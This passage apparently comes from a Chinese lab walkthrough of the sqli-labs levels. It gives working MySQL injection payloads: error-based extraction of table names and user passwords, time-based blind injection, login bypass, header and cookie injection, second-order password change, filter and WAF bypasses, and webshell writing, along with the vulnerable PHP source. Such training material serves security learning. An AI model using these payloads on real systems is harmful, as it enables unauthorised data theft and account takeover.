得到数据库名
得到表名
得到列名
得到数据
剩下步骤与上一关相同,不再重复演示
通过报错我们知道,要闭合前面的内容需要单引号加括号即’+)
然后剩下的过程和前面一模一样,只是闭合注入的方式不同而已
这里遵循原先思路,刚开始我们尝试单引号报错,结果单引号没有报错,然后我们尝试双引号,发现报错,得出如下报错提示
那么我们需要双引号加括号来进行闭合前面的内容,闭合之后剩下的操作同前几关一样,不再阐述
第五关我们在进行单引号尝试之后。发现与之前的不同,这里我们不能采用联合查询,我们应该采用错误回显查询
SQL报错注入定义
SQL报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试(insert/update/delete)。
1.floor函数报错
payload:Select count(),concat(PAYLOAD,floor(rand(0)2))x from 表名 group by x;
爆库’ and (select 2 from (select count(),concat(database(),floor(rand(0)2)) x from information_schema.tables group by x) a)and ’
爆表 ’ and (select 2 from (select count(),concat((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and ’
爆列 ’ and (select 2 from (select count(),concat((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and ’
爆内容 ’ and (select 2 from (select count(),concat((select concat(’:’,username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and ’
2.updatexml函数报错
union select updatexml(1,concat((select user())),1)
3.ExtractValue函数报错
and extractvalue(1, concat((select user())))
4.exp函数报错
’ or EXP(~(SELECT * from(select version())a)) or ’
爆表’ or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = ‘pikachu’)a)) or ’
爆列’ or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = ‘users’)a)) or ’
爆数据 ’ or wzp(~(select * from(select password from users limit 0,1)a)) or ’
这个和第五关一样,只不过是单引号变成了双引号,其他一样也是利用错误回显,这里不再重复阐述。
这里尝试了 “ ‘ 等都不行,最终尝试到 '))后发现成功闭合
这里我们直接写入文件到网站目录即可,但是这里要强调一点,就是我们的写入路径必须是绝对路径
成功写入:
接下来我们可以用菜刀或者蚁剑等其他工具连接后门,进而利用后门进行其他操作
这里它显示的是盲注,但是我发现其实这个第八关也可以进行文件读写操作,所以如果是利用文件读写的话那么过程和第七关一模一样只是报错不一样。
文件读写要比盲注进行的更快,但这里由于是学习各种注入姿势,所以这里我简单介绍一下盲注。原因在于在实战中盲注是非常耗费时间的,而且容易受到网络因素的干扰,所以一般比较少用到(当然我们可以使用脚本辅助探测),这种注入姿势我们是要掌握的。
sleep()延时盲注:代表网站会延时几秒之后才显示,那么我们就可以利用判断语句,如何符合我们的猜测它就会延时,不符合就不会延时,那么我们就可以一个字母一个字母(实际上是ASCLL码)猜测它的数据库名还有用户名和密码,其耗时之长也是非常多的,
这里介绍常盲注过程中长用到的几个函数:
length()函数:返回字符串的长度
substr(str,pos,num) :截取指定位置指定长度的字符串
mid(str,pos,num) :截取指定位置指定长度的字符串
ascii() 查询ascii码中对应的值
if 判断语句(第一个语句成立的话,执行第二个语句,否则执行第三个语句),这个是我们经常用到的在时间盲注中。
例如:if(length(database())=10,sleep(5),1)意思就是说如果数据库长度等于10那么页面将延时5秒后才回显结果
基于单引号的时间盲注,和上一个关一样,不再详细阐述
基于双引号的时间盲注,就是单引号编程了双引号,其他没变
解释一下,这个就是我们俗称的万能密码之一,其实就是用户名输入admin然后单引号闭合前面这个填入的内容,后面输入一个永真语句,然后再把后面密码的那个输入给注释掉,这就相当于,我们只需要知道用户名,不用知道密码即可登录用户,这就是基于POST型的单引号注入
首先观察可只闭合语句为‘)这里题目提示我们能够利用字符型注入,而且这里会报错,所以这里我们可以利用报错回显来进行语句注入,至于报错注入的集中函数上几关已经详细阐述过
admin’) union select updatexml(1,concat(1,(select database()),0x7e),1)#
这关和上一关一样的操作就是把上一关的单引号变成双引号即可
这个是采用盲注的手段,主不过这里采用的是POST提交方式而已
admin’ and sleep(5)#
这里建议大家使用脚本去进行盲注测试,可以采用sqlmap去跑一下,我就不再一个字母一个字母去试了,因为就准确度来说每次判断基本都要在5s时间,越长越准确,所以时间太长,我就不在详细演示
这关和上一关一样,只不过把单引号变成双引号。
其实说白了,没那么复杂, 就是在这个密码这块源码没有进行检查,而只对账号进行了检查,所以我们通过利用这个疏忽,利用密码进行报错注入,通过报错信息得到我们想要的东西。
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
效果如图:
抓包,抓正常登陆数据包
把User-Agent改成如下,因为登陆成功后显示了IP,User-Agent,name,所以这里一共传了3个参数,可以查看源码,
'and updatexml(1,concat(0x7e,(database()),0x7e),1),“1”,“1”)#
方法和上面一样,只不过这里修改的是cookie
登陆后我们发现cookie进行了base64加密,剩下的和20关没上面不同,所以我们要做的就是在上传payload的时候进行base64加密就行了,pasyload也一样,就加个密。
-1') union select 1,2,3#
-1') union select 1,database(),version()#
这个和21关一样,不过是闭合的时候是双引号,这里不再过多阐述
这里就是吧# ,–+注释号给过滤,绕过这类过滤有很多种方法,比如编码等等,可以用其中任意一种绕过过滤就行。这里我们直接构造闭合语句,闭合后面的单引号即可
id=-1' union select 1,2,3 '1
二次注入就是利用代码注入,达到修改用户是数据的效果,例如本关就是二次注入修改用户密码。
首先我们注册一个admin‘#或者admin’–+ 账号,假设我们不知道这个账号的密码,我们只知道用户名
现在我登陆了我刚才注册的账号,显示如下,然后我们修改密码
有人会有疑问,二次注入体现在哪里呢?就体现在这里,此时我们修改不是刚才注册的这个admin‘#账号密码,而是修改的admin这个原本存在的账号的密码。原本存在的admin的密码为admin,我把它修改成123456
我们发现,我们用12345登陆了admin的账号,原来admin账号的密码是admin,呢么这里就是运用了二次注入,问题就在于admin’#这个账号,修改的时候语句执行单引号直接闭合,导致数据库中修改的是admin 而不是我们申请的admin’#这个账号
这里同时过滤了#,不过我们可以用–+注释符,剩下的payload我就不再写了,前几关都已经详细阐述过。
这里和上一关一样,只不过不需要加单引号,不再过多阐述
源码:
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "
";
//echo $id;
//echo "
";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
这一关不仅仅过滤了注释符,同时还过滤了空格,所以我们绕过它的过滤,绕过姿势有很多种,例如双写绕过,大小写绕过等,这种黑名单过滤是最不安全的,因为它总有没过滤的。
-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
这一关和上一关一模一样,只需要在上一关的基础上单引号后面加一个)即可
id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1))and'1'='1
和上一关一样,只不过把单引号改成双引号
这里以利用盲注和对注入代码进行编码等方法
盲注利用payload:
0')||left(database(),1)>'s';%00
id=-1%27)%0auNIoN%0aAll%0asElEcT%0a(%271%27),database(),(%273
这里无非就是对union和select进行绕过,然后对空格和单引号进行URL编码,但是这里注意一点,如果你的靶机平台是windows那么%0a是不能替代空格的,linux平台才可以,这是由于操作系统不同处理导致的。
0')||left((database()),1)='s';%00
盲注我建议大家使用脚本去注入,一个一个去敲去等待,估计你会崩溃~~~~
id=-1' union select 1,2,3 --+
这里我们首先尝试一下上一关的payload,效果如图
看来不行,那么我们需要绕过WAF,绕过WAF最常见也最有效的一种方法就是参数污染,我们通过多次输入参数,导致WAF过滤时发生遗漏和错误判断
?id=1&id=-1" union select 1,database(),version() --+